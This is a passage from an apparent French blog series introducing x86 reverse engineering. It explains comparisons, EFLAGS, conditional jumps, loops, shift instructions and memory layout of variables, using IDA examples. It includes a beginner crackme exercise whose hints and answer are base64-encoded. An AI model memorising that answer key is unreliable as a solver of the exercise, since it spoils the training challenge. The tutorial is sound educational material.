ope_d, ope_s mais sans stocker le résultat. Ainsi le contenu des opérandes restent inchangées.Par contre, quelques flags parmi les EFLAGS vont être changés en fonction des valeurs des opérandes et du résultat. C’est à partir de ces EFLAGS que l’on saura si les opérandes sont égales ou s’il y en a une plus grande/petite que l’autre etc. Il est important que vous ayez en tête la manière dont les entiers sont représentés en informatique, notamment les entiers signés avec le complément à deux.Plus précisément, ce sont les flags ZF, SF, CF et OF qui nous intéressent principalement (et dans une moindre mesure PF). Nous les avions déjà vus brièvement précédemment, profitons-en pour nous rafraîchir la mémoire et rentrer plus dans les détails. ZF (Zero Flag) : 1 si les deux opérandes sont égales. La différence des deux termes vaut donc 0. 0 si les deux opérandes sont différentes. SF (Sign Flag) : 1 si le bit de poids fort du résultat est non nul. Dans le cas d’une opération signée cela implique qu’il est négatif. Dans le cas où elle est non signé, ce flag n’a pas d’importance. 0 si le bit de poids fort du résultat est nul Exemple : Prenons la soustraction signée suivante :0x5 - 0x20 = -0x1b. Le résultat étant négatif, le complément à deux de 0x1b est 0xe5 qui s’écrit sur 8 bits en binaire 0b11100101. Le bit de poids fort étant à 1, SF l’est également. Etant donné qu’il s’agit d’une opération signée SF nous permet de savoir que le résultat est négatif. CF (Carry Flag) : 1 si le résultat possède une retenue. 0 si le résultat ne possède pas de retenue Exemple : Par exemple, pour l’instruction add al, bl sur 8 bits où al vaut 0xFF et bl vaut 0x01, le résultat est 0xFF + 0x01 = 0x100 qui ne tient pas sur les 8 bit de al. Cela génère donc une retenue. Lors d’une soustraction a - b, une retenue est générée lorsque b est plus grand que a. OF (Overflow Flag) : 1 si un débordement a lieu avec des valeurs signées. Par exemple, cela peut avoir lieu lorsqu’il y a un résultat négatif d’opérandes positifs et inversement. Ce bit n’a pas d’importance lorsque l’on manipule des valeurs non signées. 0 s’il n’y a pas eu de débordement Exemple : Prenons l’addition signée suivante :0x7F + 0x8 = 0x87. Ici, le bit de poids fort de 0x87 est à 1 : il s’agit donc d’un résultat négatif (-121). Pourtant, les deux termes sont strictement positifs. Il y a donc eu un débordement (overflow). PF (Parity Flag) : 1 si le nombre de bits su résultat est pair 0 sinon N’hésitez pas à utiliser asmdebugger pour faire quelques tests. Les 4 flags étudiés sont affichés sur le site lors de l’exécution des instructions. En effet, si l’utilisation de ces flags vous paraît difficile, sachez que c’est normal car cela fait intervenir des notions que l’on utilise pas, en tant qu’humain, tous les jours comme le complément à deux pour représenter des nombres négatifs.Lors d’une comparaison avec cmp, le processeur ne sait pas si les opérandes sont signées ou non. En fait, il s’en moque à ce stade. C’est pourquoi il va modifier, si besoin est, ces 4 flags bien que certains soient plutôt utilisés lors d’opérations signées (SF et OF) ou non signées (CF).ExemplesVoici quelques exemples : Instruction ZF SF CF OF cmp 1, 5   ✅ ✅   cmp 5, 1         cmp 5, 5 ✅       cmp 4, 255     ✅   cmp 127, 129   ✅ ✅ ✅ Je vous conseille de représenter les entiers sous forme binaire et de faire attention à la représentation du complément à deux. En effet, 129 s’il n’est pas signé vaut 129 mais s’il est signé, il vaut -127.Équivalent en CPour l’instruction cmp, il n’y a pas réellement d’équivalent en C. En fait, cmp n’est jamais (sauf exceptions) utilisées autrement qu’avec des sauts. Ainsi, représenter cmp tout seul dans du code C n’a pas de sens. Par contre, dans toutes les conditions du type if, else vous y trouverez un cmp (ou test) dans le code assembleur associé.4️⃣ L’instruction test ope_d, ope_sOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur ope_s : opérande source. Peut être : une valeur immédiate un registre DétailsCette instruction est également utilisée pour réaliser des comparaisons mais son fonctionnement sous-jacent est différent de cmp.test va exécuter l’instruction and ope_d, ope_s sans stocker le résultat mais en mettant à jour des flags suivants : SF, ZF et PF. test est souvent utilisé pour savoir si un registre est nul ou non.ExempleL’instruction test eax, eax permet de voir si eax est nul ou non. En effet, lors de l’exécution de cette instruction, si ZF == 1, c’est que eax est nul. Sinon, cela signifie qu’il est non nul.Équivalent en CMême remarque que pour cmp : il n’y a pas réellement d’équivalent direct en C.⤴️ Notes Voir ci-dessus : 1️⃣ L’instruction and ope_d, ope_s &#8617; Voir ci-dessus : 2️⃣ L’instruction sub ope_d, ope_s &#8617; Voir ci-dessus : 3️⃣ L’instruction cmp ope_d, ope_s &#8617; Voir ci-dessus : 4️⃣ L’instruction test ope_d, ope_s &#8617; " }, { "title": "Partie 11 - Structures de contrôle - les sauts et conditions (2/3)", "url": "/posts/introduction_au_reverse_partie_11/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-20 08:00:00 -0200", "snippet": "Structures de contrôle : les sauts et conditionsNous nous étions arrêtés à ces deux instructions :cmp dword ptr [eax], 2jz short loc_12B2Pour ce qui est de la comparaison, vous avez compris à quoi ...", "content": "Structures de contrôle : les sauts et conditionsNous nous étions arrêtés à ces deux instructions :cmp dword ptr [eax], 2jz short loc_12B2Pour ce qui est de la comparaison, vous avez compris à quoi elle sert. Intéressons nous maintenant au saut jz short loc_12B2. Décortiquons tout d’abord cette instruction : jz : type de saut (ici : jump if zero) short : distance du saut loc_12B2 : adresse de destination. IDA aime bien préfixer de manière générale les adresses censées contenir du code, ne soyez pas embrouillés par cela. On va faire comme s’il n’y avait marqué que 0x12B2. Les sauts en assembleur peuvent également être appelés branchements. Astuce IDA : Les adresses préfixées (labels), noms de variables et noms de fonctions peuvent être renommées avec le raccourcis N.Les distances de sautsLes distances de sauts ne nous intéressent pas tant que ça en reverse mais profitons en pour en toucher quelques mots.Les distances de sauts étaient importantes lorsque les processeurs étaient en 16 bits car il n’était pas possible d’accéder à n’importe quelle zone mémoire avec seulement 16 bits. Ainsi, plusieurs registres étaient utilisés pour pouvoir accéder au segment de code (registre CS), à la zone mémoire de la stack (registre SS) …Ainsi une adresse était désigné par un préfixe (segment) et un offset, par exemple : CS:0x1234 où CS a une valeur de 16 bits.Ainsi les sauts courts (short ou near) permettaient de sauter vers une adresse située dans le même segment.Tandis que les sauts longs (far) permettaient de sauter plus loin vers une adresse qui pouvait être dans un autre segment.En 32 bits, et à plus forte raison en 64 bits, il est possible de sauter directement à n’importer quelle adresse sans avoir à se préoccuper du segment de destination.Les types de sautsIl existe principalement deux types de sauts en assembleur x86 : Les sauts inconditionnels : Il s’agit d’un saut vers une adresse qui sera toujours réalisé, sans aucune condition particulière. Exemple : Lorsque l’instruction jmp 0x401020 sera exécutée, eip aura pour valeur 0x401020 dans tous les cas. Les sauts conditionnels : Il s’agit d’instructions dont le saut n’est réalisé que sous certaines conditions. Exemple : jz n’est réalisé que lorsque ZF == 1tandis que jge n’est réalisé que lorsque SF == OF Les sauts inconditionnelsLes sauts inconditionnels sont les sauts qui sont exécutés dans tous les cas. Nous en avons au moins un dans notre programme, plus précisément dans main :Cela permet d’atteindre des zones de code qui ne sont pas contiguës en mémoire. En effet, si vous vous rendez dans le main à l’adresse 0x12B0 puis que vous appuyez sur espace (pour quitter le mode “graphe”), vous verrez que l’instruction à 0x12b0 est éloignée de l’instruction à 0x12dc. Astuce IDA : Vous pouvez utiliser le raccourcis G pour aller à une adresse en particulier. Astuce IDA : Vous pouvez utiliser le raccourcis espace pour basculer du mode “graphe” vers le mode “texte” et inversement.Le fonctionnement de ce type de saut est très simple : une fois que l’instruction est exécutée, eip (ou rip en 64 bits) est égal à l’adresse de destination, là où l’exécution du programme se poursuit.Les sauts inconditionnels se font via l’instruction jmp1.Les sauts conditionnelsLà, faut rester concentré 🤓 ! Parce que des sauts de ce type, en veux-tu en voilà !Nous avons pris le temps de bien comprendre le fonctionnement de cmp et test ainsi que les EFLAGS qui pouvaient être modifiés : ce n’est pas pour rien !En fait les sauts conditionnels dépendent de ces deux instructions car un saut sera pris, ou non, selon les EFLAGS modifiés par cmp ou test (même si techniquement n’importe quelle instruction qui modifie les flags en question peut être utilisée).Je vous propose de comprendre le saut où nous nous étions arrêtés (à 0x1293) avant de voir les autres types de sauts : Astuce IDA : En mode “graphe”, vous pouvez modifier la couleur des blocs de base en cliquant sur l’icône la plus à gauche en haut du bloc.Comme vous l’avez vu, jz signifie jump if zero, c’est-à-dire que le processeur va sauter à l’adresse de destination seulement si ZF = 1 (ce qui signifie que les opérandes sont égales lors de la précédente instruction cmp).Pour rappel la précédente instruction cmp dword ptr [eax], 2 comparait argc et 2. Or le saut ici jz ne s’intéresse qu’à ZF. Ainsi, on souhaite simplement savoir si argc == 2 auquel cas on saute vers le bloc vert à l’adresse 0x12b2. Le cas échéant, on entre dans le bloc rouge à l’adresse 0x1295.On utilise le terme “entrer” dans le bloc rouge plutôt que “sauter” car vu que le saut jz 0x12b2 n’est pas exécuté, le prochaine instruction est celle qui est immédiatement après jz 0x12b2. En passant en mode “texte” dans IDA vous pourrez bien constater que le premier bloc de la fonction main et le bloc en rouge sont contiguës.De toute façon, c’est bien ce que l’on a fait dans notre code source : vérifier qu’il y a exactement deux arguments :Eh bien voilà ! Vous savez désormais comment sont gérés les if en assembleur ! En fait, nous avons même ici dans le code assembleur la structure d’un if / else bien que l’on ait pas écrit de bloc else dans le code : Lorsque la condition du if est vérifiée, on saute dans le bloc 🟢, sinon dans le bloc 🔴.Normalement, si vous avez bien compris cet exemple vous ne devriez pas avoir trop de mal à comprendre comment fonctionnent les autres sauts conditionnels2.Par ailleurs, vous avez maintenant tous les éléments pour comprendre le code assembleur jusqu’à l’instruction à 0x12CF call printBin 😎.📝 Exercice : votre premier crackmeAvant d’aller plus loin, je vous propose un petit challenge de type “crackme”. Le but est de trouver une entrée valide permettant d’afficher le message de réussite. Le programme contient pas mal de sauts, cela vous permettra de mettre en pratique vos connaissances en assembleur.Le but est de trouver le nombre permettant d’afficher la string de réussite.L’analyse statique à elle seule permet de trouver l’entrée valide. Vous pourrez confirmer votre résultat en exécutant le programme avec votre entrée. Il faut y aller petit à petit et bien comprendre ce qui est fait à chaque fois.⤵️ Vous pouvez le télécharger ici : mini_crackme. Les indices sont donnés en base64 afin qu’ils ne soient pas directement visible.💡 Indice 1 : Tidow6lzaXRleiBwYXMgw6AgdXRpbGlzZXIgdW5lIGZldWlsbGUvY2FoaWVyIGRlIGJyb3VpbGxvbiBlbiBhdmFuw6dhbnQgcGV0aXQgw6AgcGV0aXQu💡 Indice 2 : VXRpbGlzZXogbGUgdGFibGVhdSByw6ljYXBpdHVsYXRpZiBkZXMgc2F1dHMgcG91ciBjb25uYcOudHJlIGxhIGNvbmRpdGlvbiBkZSBzYXV0Lg==💡 Indice 3 : TCdlbnRyw6llIGRvaXQgw6p0cmUgc2Fpc2llIGVuIHRhbnQgcXUnYXJndW1lbnQgZW4gZMOpY2ltYWwu✅ Solution : TGEgc29sdXRpb24gZXN0IDk1Lg==Une fois l’exercice terminé, on se donne rendez-vous dans la fonction printBin pour comprendre comment les conditions et sauts peuvent être utilisés pour réaliser des boucles 🔄.ℹ️ Instructions mentionnées1️⃣ L’instruction jmp destOpérandes dest : destination du saut. Peut être : une valeur immédiate (exemple : adresse relative ou absolue) un registre un pointeur Détails Unique instruction permettant de réaliser des sauts inconditionnels afin de “sauter” vers l’adresse de destination. Cela permet de pouvoir exécuter des instructions qui ne sont pas toujours situées linéairement dans le code. La différence entre un saut et un appel de fonction call est que l’on ne se préoccupe pas de sauvegarder l’adresse de retour afin de pouvoir y retourner plus tard.Lorsque l’opérande dest est une valeur immédiate, il peut s’agir d’une adresse absolue ou relative : adresse absolue : l’adresse est “codée en dur” dans l’opcode de l’instruction. Cela permet de sauter plus loin dans le code mais l’instruction prend plus de place. Exemple : e9 d8 12 00 00 jmp 0x12dd adresse relative : seule la différence entre l’adresse courante de eip et l’adresse de destination est insérée dans l’opcode. Cela permet d’avoir des opcodes plus courts mais de sauter moins loin. Exemple : eb 2a jmp short 0x12DC Concernant les adresses absolues, elles ne sont pas insérées tel quel dans l’opcode. En effet, il est nécessaire de prendre en compte la taille de l’instruction de saut (par exemple 5 octets) avant d’insérer l’adresse de destination. C’est pourquoi l’opcode de l’exemple contient e9 d8 12 et non pas e9 dd 12.Bien que le mnémonique jmp utilisé soit le même, il existe différentes forme où dest n’est pas toujours une adresse. Cela peut, en effet, être un pointeur ou registre.Le souci, en tant que reverser, est qu’il ne sera pas toujours possible de savoir directement vers quelle adresse le processeur va sauter lorsqu’un registre (ou pointeur) va être utilisé. En analyse statique, il sera nécessaire de déterminer les différentes valeurs que peut prendre le registre afin de trouver les potentielles destinations.Le fait d’utiliser un registre comme opérande est très commun dans la modélisation des switch en assembleur après compilation.Exemplejmp 0x401020jmp raxjmp [ebx]Équivalent en CLes sauts inconditionnels jmp sont l’équivalent de goto en C :#include &lt;stdio.h&gt;int main() { int i = 0; start_loop: if (i &lt; 5) { printf(\"i = %d\\n\", i); i++; goto start_loop; // Sauter à l'étiquette start_loop } return 0;}2️⃣ L’instruction jcc destOpérandes dest : destination du saut. Peut être : une valeur immédiate (exemple : adresse relative ou absolue) Détailsjcc n’est pas un mnémonique en soi. Il s’agit d’un terme générique pour désigner le mnémonique de tous les sauts conditionnels. Les points communs de tous ces sauts sont les suivants : Ils utilisent certains flags parmi les EFLAGS afin de savoir s’il faut sauter Lorsque que le saut n’est pas exécutée, c’est l’instruction située immédiatement après le saut qui est réalisée Ils sont précédés d’une instruction cmp ou testSi vous retenez ça, vous avez retenu 60% du fonctionnement des sauts conditionnels. Le reste consiste seulement à se rappeler de ce que signifie chaque mnémonique et quels flags sont utilisés.Voici les principaux sauts que vous pourrez rencontrer : Selon le désassembleur utilisé, il peut y avoir quelques différences dans le mnémonique comme jz (jump if zero) qui peut être désigné je (jump if equal) mais qui représentent exactement la même instruction. Mnémonique(s) Description Signe des opérations Cas d’utilisation Condition de saut jo Jump if overflow   Détection de débordement OF == 1 jno Jump if not overflow   Détection de débordement OF == 0 js Jump if sign   Tester le signe SF == 1 jns Jump if not sign   Tester le signe SF == 0 jz / je Jump if zero / equal   Tester l’(in)égalité ZF == 1 jnz / jne Jump if not zero / not equal   Tester l’(in)égalité ZF == 0 jb / jnae / jc Jump if below / not above or equal / carry Non signé Tester la supériorité / infériorité CF == 1 jnb / jae / jnc Jump if not below / above or equal / not carry Non signé Tester la supériorité / infériorité CF == 0 jbe / jna Jump if below or equal / not above Non signé Tester la supériorité / infériorité CF == 1 \\|\\| ZF == 1 jnbe / ja Jump if not below or equal / above Non signé Tester la supériorité / infériorité CF == 0 &amp;&amp; ZF == 0 jl / jnge Jump if less / not greater or equal Signé Tester la supériorité / infériorité SF != OF jnl / jge Jump if not less / greater or equal Signé Tester la supériorité / infériorité SF == OF jng / jle Jump if not greater / less or equal Signé Tester la supériorité / infériorité ZF == 1 \\|\\| SF != OF jg / jnle Jump if greater / not less or equal Signé Tester la supériorité / infériorité ZF == 0 &amp;&amp; SF == OF Il est à noter qu’il n’existe pas une seule manière de représenter une condition du C vers l’assembleur. Prenons par exemple le code suivant :unsigned int x = ...;unsigned int y = ...;if (x &gt; y ){\t// Code A}else{\t// Code B}On peut très bien faire :cmp x, yja addr_code_Acode_Bou :cmp x, yjbe addr_code_Bcode_AIl faut donc être attentif lorsque l’on analyse du code assembleur pour savoir ce qui va être exécuté et sous quelles conditions.Exemplesjz 0x555555550102jns 0x405987Équivalent en CSelon le signe des variables comparées et le type de comparaison utilisé, certains sauts vont être utilisés plutôt que d’autres (les différents mnémoniques d’une même instruction ont été omis par souci de concision) :int x = ...;int y = ...;if (x &lt; 0) // js ou jns{\t//...}if (x == y) //jz ou jnz{\t//...}if(x &lt; y) // jl ou jnl {\t//...}if(x &gt;= y) // jnl ou jl{\t//...}if(x &lt;= y) // jle ou jnle{\t//...}Autres formesIl existe d’autres sauts mais que l’on rencontre moins souvent.⤴️ Notes Voir ci-dessus : 1️⃣ L’instruction jmp dest &#8617; Voir ci-dessus : 2️⃣ L’instruction jcc dest &#8617; " }, { "title": "Partie 12 - Structures de contrôle - les boucles (3/3)", "url": "/posts/introduction_au_reverse_partie_12/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-19 08:00:00 -0200", "snippet": "Structures de contrôle : les bouclesTout d’abord, si vous êtes arrivés jusque-là c’est que vous avez réussi votre premier crackme, bravo 🎊🥳🎉 !Mais bon, ce n’est pas tout, il nous reste encore du ch...", "content": "Structures de contrôle : les bouclesTout d’abord, si vous êtes arrivés jusque-là c’est que vous avez réussi votre premier crackme, bravo 🎊🥳🎉 !Mais bon, ce n’est pas tout, il nous reste encore du chemin 🏃 ! Reprenons notre programme decimal_to_binaire, nous nous étions arrêtés à la fonction printBin.RappelsSon graphe a l’allure suivante :Pour rappel, le code source associé est :void printBin(int nombre) { if (nombre &lt; 0) { printf(\"Le nombre doit etre un entier positif.\\n\"); return; } unsigned char bits[32]; int i = 0; while (nombre &gt; 0) { bits[i] = nombre % 2; nombre /= 2; i++; } printf(\"Representation binaire : \"); for (int j = i - 1; j &gt;= 0; j--) { printf(\"%d\", bits[j]); } printf(\"\\n\"); }On peut ainsi distinguer, dans le code source, les structures de contrôle suivantes : une condition if : vérification su signe une boucle while : stockage du nombre bit par bit une boucle for : affichage de la représentation binaire bit par bitC’est pourquoi, comme vous l’avez remarqué, il y a pas mal de blocs dans le graphe désassemblé.Analyse de la boucle whileNormalement vous ne devriez pas avoir de soucis pour comprendre ce qui se passe jusqu’à l’instruction 1224 cmp [ebp+arg_0], 0 : prologue vérification de l’argument (qui correspond au if du code) initialisation d’une variable locale à 0Nous avons alors :cmp [ebp+arg_0], 0jg short loc_11F7Si l’argument de la fonction est strictement positif, on saute dans le bloc 0x11f7. Pour l’instant, faisons abstraction de ce que contient ce bloc. Intéressons à la manière dont il se finit : On a l’impression qu’après l’exécution de la dernière instruction du bloc le programme retourne dans le précédent bloc alors qu’il n’y a pas d’instruction de saut, pourquoi ?En fait si on ouvre bien les yeux, on constate que la fin du second bloc est à l’adresse 0x1220 et que le début du premier est à 0x1224, ce sont donc deux instructions successives ( car la taille de add [ebp+var_C], 1 est de 4 octets). Vous pouvez basculer en mode “texte” pour vous en convaincre. Ainsi, pas besoin de saut.On remarque qu’avant de retourner dans le premier bloc, la valeur de arg_0 est modifiée à 0x1220 : add [ebp+var_C], 1. Finalement, on retrouve bien la structure de notre boucle while : Bien qu’IDA ait affiché d’abord le bloc de condition avec le bloc contenant le corps de la boucle, dans le code assembleur, le bloc de code (0x11f7) est situé avant le bloc de vérification (0x1224).Pour ce qui est des boucles do...while, vous l’avez deviné, il suffit (principalement) d’entrer dans le corps de la boucle avant de vérifier la condition de sortie. Sinon, la structure reste semblable à celle d’une boucle while. Nous n’étudierons pas l’assembleur de la boucle while car cela ne nous permettra pas de mieux comprendre le fonctionnement d’une boucle. Par contre, vous pouvez analyser son contenu et comparer avec le code source. Cela vous permettra, entre autres, de vous familiariser avec 3 nouvelles instructions que vous pourrez rencontrer dans pas mal de crackmes : cdq1, shr2 et sar.Analyse de la boucle forLa boucle for est ici :On retrouve exactement la même structure que pour une boucle while. Et puis, on le savait déjà, une boucle for n’est rien d’autre qu’une boucle while plus concise du point de vue d’un développeur :for(int i = 0; i &lt; N; i++){\t// ...}// est equivalent a :int i = 0;while(i &lt; N){\t// ...\ti++;}📝 Exercice : analyse d’un switch..case..defaultVous êtes désormais familiers avec les boucles et conditions, on peut alors s’attaquer au switch..case..default.Mais ! Vous avez l’air d’avoir les connaissances pour comprendre cette structure de code tout seuls 😎 !Il suffit de faire un petit programme avec un switch, le compiler (sans oublier l’option -m32 pour compiler en 32 bits) et le reverser 🔎 ! Autant la vision “graphe” d’IDA permet de mieux structurer du code assembleur, autant pour comprendre un switch ce n’est pas forcément le plu simple, autant passer en mode “texte”.📋 SynthèseAu cours de ces différents chapitres nous nous sommes familiarisés avec les structures de contrôle en assembleur. Ce sont des choses qui nécessitent pas mal de notions sous-jacentes (comparaisons, EFLAGS, sauts conditionnels …) mais qui reviennent tellement souvent dans un programme que vous allez finir par les retenir.Nous avons notamment vu : la manière dont les comparaisons sont réalisées via cmp et test les détails des principaux flags utilisés : ZF, SF, CF, OF et PF les différents sauts conditionnels : jz, jl, jnb, jg … la manière dont les comparaisons et sauts sont utilisés pour réaliser des if/else, while, for …ℹ️ Instructions mentionnées1️⃣ L’instruction cdqOpérandes Cette instruction n’a pas d’opérandesDétailscdq est l’abréviation de convert dword to qword. Vous l’avez compris, cela devrait donc permettre de convertir un dword (4 octets) en un qword (8 octets), mais comment ?Tout d’abord, cette instruction ne s’applique que sur le registre eax (ou ses dérivées). C’est pourquoi elle ne dispose pas d’opérandes. De plus, cette instruction garde le signe de l’ancienne valeur lors de la conversion vers la nouvelle valeur.En x86_64 on a des registres de 64 octets, ce qui n’est pas le cas en x86. Ainsi, pour doubler la taille des données contenues dans eax, c’est le registre edx (ou ses dérivées) qui va être utilisé de cette manière : si le nombre dans eax est négatif (bit de poids fort égal à 1), alors edx est rempli de 1 si le nombre dans eax est positif (bit de poids fort égal à 0), alors edx est rempli de 0 Cette manière de générer une nouvelle valeur à partir d’une valeur signée est ce que l’on appelle l’extension de signe.Ainsi on obtient une valeur de taille double en concaténant les deux registres sous la forme : edx:eax.Cette instruction est très utilisée lors des divisions signées afin d’avoir un résultat cohérent et correct.Exemplesmov eax, 0x70001234cdq ; edx:eax = 0x00000000:0x70001234mov eax, 0x80001234cdq ; edx:eax = 0xffffffff:0x80001234Équivalent en CIl n’y pas a pas d’équivalent directe en C.Autres formesIl existe plusieurs dérivées mais dont le principe d’extension de signe est le même : cwd (convert word to dword): la valeur convertie est contenue dans dx:ax cqo (convert qword to double qword): la valeur convertie est contenue dans rdx:rax (disponible seulement en x86_64)2️⃣ Les instructions shr ope_d, n et sar ope_d, nOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur n : opérande source. Peut être : une valeur immédiate un registre (seulement le registre cl) DétailsL’instruction shr (ou shift right) permet de réaliser un décalage des bits de ope_d de n bits vers la droite. Avec l’instruction shr et toutes les autres instruction de shift (décalage), il n’y a pas de rotation des bits sortants. Il existe d’autres instructions comme ror/rol qui réalise un décalage rotatif des bits. C’est-à-dire que des bits qui sortent, par exemple, par la gauche, “rerentrent” par la droite.Ainsi, le décalage de 0b01110011 d’un bit vers la droite est 0b00111001. En fait, lorsqu’il y a un bit sortant, il n’est pas réellement perdu dans la nature : il est sauvegardé dans le flag CF des EFLAGS.Il existe l’instruction sar (ou shift aritmetic right) est basée sur le même principe de décalage que shr. La seule différence est que sar prend en compte le signe du nombre qui sera décalé.Ainsi, si le bit de poids fort de ope_d est 1, il sera réinitialisé à 1 après décalage. En fait sar agit en deux temps : exécuter shr si le précédent nombre était signé, mettre le bit de poids fort du résultat à 1Voir les exemples ci-dessous pour comprendre de quoi il s’agit.Ces instructions sont très utilisées pour réaliser des divisions par 2 d’un nombre (et dont le reste est dans le flag CF). En effet, le décalage d’un bit vers la droite revient à diviser par 2. Le décalage de n bits vers la droite revient à diviser par 2 puissance n. Je ne vois pas en quoi décaler d’un bit vers la droite revient à diviser par deux ?Pourtant c’est bien ce qui se passe lorsque l’on note un nombre en décimal et que l’on le décale d’une unité vers la droite, cela revient à diviser par 10.Prenons par exemple 213950, en le décalant d’une unité vers la droite on obtient 21395, ce qui revient bien à diviser par 10.Avec la notation en binaire, c’est la même chose : décaler d’un bit revient à diviser par deux.Ainsi, sar et shr sont très utilisés pour réaliser des divisions de puissances de 2.Exemple mov eax, 0x80000001 (0b10.....001) shr eax, 1 ; eax = 0x40000000 (0b01.....000) ; CF == 1 mov eax, 0x80000001 sar eax, 1 ; eax = 0xc0000000 (0b11.....000) ; CF == 1Équivalent en Cint x = 0x80000001;x = x &gt;&gt; 1; // x = 0xc0000000int y = 0xdeadbeef;y = y &gt;&gt; 13; // y = 0xfffef56dAutres formesDe la même manière que shr/sar permettent de réaliser des décalages vers la droite, shl/sal permettent de réaliser des décalages vers la gauche avec le même principe.A l’instar de la division par puissances de 2 de shr/sar, shl/sal permettent de réaliser des multiplications par puissances de 2 : ➡️ shr/sar : division par puissances de 2 ⬅️shl/sal : multiplication par puissances de 2Vous pouvez également jeter un œil aux instructions rcl/rcr/rol/ror. Leur fonctionnement de décalage est le même. La principale différence est qu’il y a une rotation des bits sortants.⤴️ Notes Voir ci-dessus : 1️⃣ L’instruction cdq &#8617; Voir ci-dessus : 2️⃣ Les instructions shr ope_d, n et sar ope_d, n &#8617; " }, { "title": "Partie 13 - La gestion des variables", "url": "/posts/introduction_au_reverse_partie_13/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-18 08:00:00 -0200", "snippet": "La gestion des variablesDans cette partie, nous allons nous intéresser à la manière dont sont gérées les variables en assembleur. Nous en avons déjà un peu parlé à plusieurs reprises lorsque nous a...", "content": "La gestion des variablesDans cette partie, nous allons nous intéresser à la manière dont sont gérées les variables en assembleur. Nous en avons déjà un peu parlé à plusieurs reprises lorsque nous avions parlé du fonctionnement de la pile ainsi que des différents segments mémoire (code, données, tas …) et ce qu’ils contenaient.Ce sera aussi l’occasion de parler d’une chose que j’ai souhaité garder de côté pour l’instant 🫣. Dans cette partie, nous allons beaucoup nous intéresser à des zones mémoire à partir d’offsets relatifs à ebp. Il est vivement recommandé de se munir d’un ✏️ et d’une 🗒️ afin de représenter soi-même les variables en mémoire pour savoir comment elles seront agencées.Les types de donnéesLes types de baseTout d’abord, il serait pas mal de se rafraîchir la mémoire avec les types de base en C, voici un tableau synthétique de ces différents types avec leur taille.Ce qu’il faut retenir avec les types de base est qu’ils ont des tailles variables (un int n’a pas la même taille qu’un char). Ainsi, si vous faites le reverse d’un programme et qu’IDA pense avoir trouvé un tableau de 10 int, il est possible que ce soit en réalité un tableau de 40 char.Bon, et si on essayait de voir comment ces types sont représentés en mémoire avec un petit exemple ? Voici un petit programme qui fera l’affaire :int main(int argc, char *argv[]) { char chr = 'A'; int nombre = 0xdeadbeef; unsigned short sh = 0xcafe; unsigned long lg = 0xaabbccdd; return 0; }Pour le compiler : gcc -m32 -fno-pie -fno-stack-protector main.c -o exe.Comme d’hab’, on l’ouvre dans IDA :On constate que les variables locales sont bien sauvegardées dans la pile. Un bon exercice serait de faire un schéma de la pile avec ces différentes valeurs.Vous pouvez comparer ensuite ce que vous avez trouvé avec le schéma suivant (état de la pile à 0x11ab):On constate plusieurs choses : les noms des variables locales ne sont pas gardées après la compilation, mais ça, on le savait déjà. Les variables dans la pile sont insérées de la première variable déclarée à la dernière en remontant dans la pile. Ainsi, lorsque l’on lit la pile de haut en bas, les valeurs sont affichées dans le sens inverse de leur déclaration dans le code C. il y a des trous (qui contiennent des valeurs quelconques, par forcément nulles) alors que l’on aurait pu faire tenir toutes les variables sur 11 octets au lieu de 16. que la variable soit signée ou non, le code assembleur n’a pas cette information sur chaque valeur. Ce qui va permettre de les différencier est les instructions (signées ou non) utilisées. Exemple : jb (non signé) ou jl (signé).Concernant l’histoire des trous, il s’agit encore une fois d’une histoire d’alignement qui arrange le processeur lorsqu’il souhaite accéder à certaines valeurs.L’encodage ASCII Y a un truc que je comprends pas. Dans le code on a définit notre variable char chr = 'A';, pourquoi cela a été remplacé par 0x41 ?Très bonne question ! C’est vrai que la première fois que l’on voit de l’ASCII on est un peu perdus …En fait, les caractères n’ont pas réellement de sens pour un ordinateur. Ce qu’il sait traiter ce sont des bits. Ces bits peuvent ensuite être regroupés pour représenter des données, notamment des nombres.Les nombres peuvent facilement être représentés en notation binaire ou hexadécimale, c’est pourquoi, par exemple, l’instruction mov reg, 0x213 a du sens pour le processeur.Pour ce qui est des caractères, c’est pas évident. C’est pourquoi il a été convenu d’affecter un nombre à chaque caractère. Ainsi, lorsque l’on souhaite manipuler un caractère, il suffit de manipuler l’encodage (nombre) associé.Voici ce que l’on appelle la table ASCII qui donne l’encodage de chaque caractère :Ainsi, on constate bien que la caractère A est encodé 0x41.Connaître par cœur ces valeurs n’a que très peu d’intérêt, par contre il est intéressant de savoir détecter des caractères ASCII lorsque l’on voit des nombre compris entre 0x20 et 0x7e. En effet, la beacoup de programmes (crackmes ou autre) encode leurs strings en ASCII. Sous Windows, l’encodage principalement utilisé n’est pas ASCII mais l’UTF-16. Il s’agit d’un encodage différent de l’ASCII, notamment par le fait qu’il soit encodé sur deux octets (au lieu d’un). Cela permet de pouvoir encoder bien plus de caractères, notamment ceux de langues non latines (arabe, chinois …).Les structures et les tableauxConsidérées comme les ancêtres des classes (en C++), les structures permettent de regrouper plusieurs variables de types différents dans un seul type. Les tableaux, quant à eux, permettent de regrouper un certain nombre de variables de même type.Voyons comment sont représentés en mémoire ces deux types de variable avec cet exemple :struct MaStructure { int nb; char ch; unsigned int u_nb; unsigned char u_ch; }; int main() { struct MaStructure ma_struct; ma_struct.nb = 0xdeadbeef; ma_struct.ch = 'a'; ma_struct.u_nb = 0xcafebabe; ma_struct.u_ch = 'b'; int tab[5] = {0x10, 0x20, 0x30, 0x40, 0x50}; return 0; }En le compilant avec gcc -m32 -fno-pie -fno-stack-protector main.c -o exe, on obtient :Lorsque le processeur arrivera à 0x11cc, la pile aura donc cette forme :Finalement, il n’y a pas de grandes différences avec la gestion des types de base si ce n’est que : l’ordre des éléments du tableau et de la structure sont affichés dans le bon ordre lorsque l’on lit les valeurs de haut en bas (alors qu’avec les variables de base, c’était l’inverse) les char ne sont pas positionnés sur l’octet de poids fort mais sur l’octet de poids faibleSi on a choisi de parler des structure et des tableaux dans le même endroit, c’est parce qu’en termes d’assembleur il y a pas mal de similitudes entre les deux. D’ailleurs, il se peut parfois qu’IDA confonde une structure avec un tableau.Par ailleurs, on remarque qu’il y a toujours un respect de l’alignement l’agencement en mémoire de la structure. C’est pourquoi il est important de faire attention à la manière dont on déclare une structure si on souhaite économiser de la mémoire en tant que développeur.Voici un exemple pour illustrer ces propos où deux structures avec les mêmes éléments sont utilisées mais sont l’agencement des éléments (et 